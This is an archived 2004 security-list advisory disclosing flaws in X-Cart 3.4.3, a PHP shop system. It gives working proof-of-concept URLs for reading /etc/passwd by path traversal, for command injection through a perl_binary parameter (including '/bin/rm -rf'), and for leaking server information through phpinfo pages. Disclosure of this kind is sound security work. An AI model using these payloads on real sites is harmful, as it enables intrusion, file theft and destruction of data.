OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
X-Cart vulnerability

From: Philip (securityfocusmagicwebsolutions.co.uk)
Date: Tue Feb 03 2004 - 03:19:37 CST


X-Cart (ttp://www.x-cart.com)is a well distributed PHP e-commerce solution.
We have discovered some security related bugs in X-Cart Version 3.4.3.
It is possible that other versions are vulnerable too.

Any visitor can view any file on the web server.
This URL my be used as proof of concept:
http://servername/customer/auth.php?config[General][shop_closed]=Y&shop_closed_file=../../../../../../../etc/passwd

Moreover, any visitor can execute any command on the server, if the command is allowed for the account used to run web server.
The urls used for test look like http://server/admin/upgrade.php?prepatch_errorcode=1&patch_files[0][orig_file]=VERSION&perl_binary=/bin/rm -rf &patch_exe=..

http://server/admin/general.php?mode=perlinfo&config[General][perl_binary]=/bin/ls -lR ||

There are information leaks in this application.
Thse following URL discloses sensitive information to any visitor.
http://server/admin/general.php?mode=phpinfo
http://server/admin/general.php?mode=perlinfo

It's possible, this software contains other vulnerabilities too.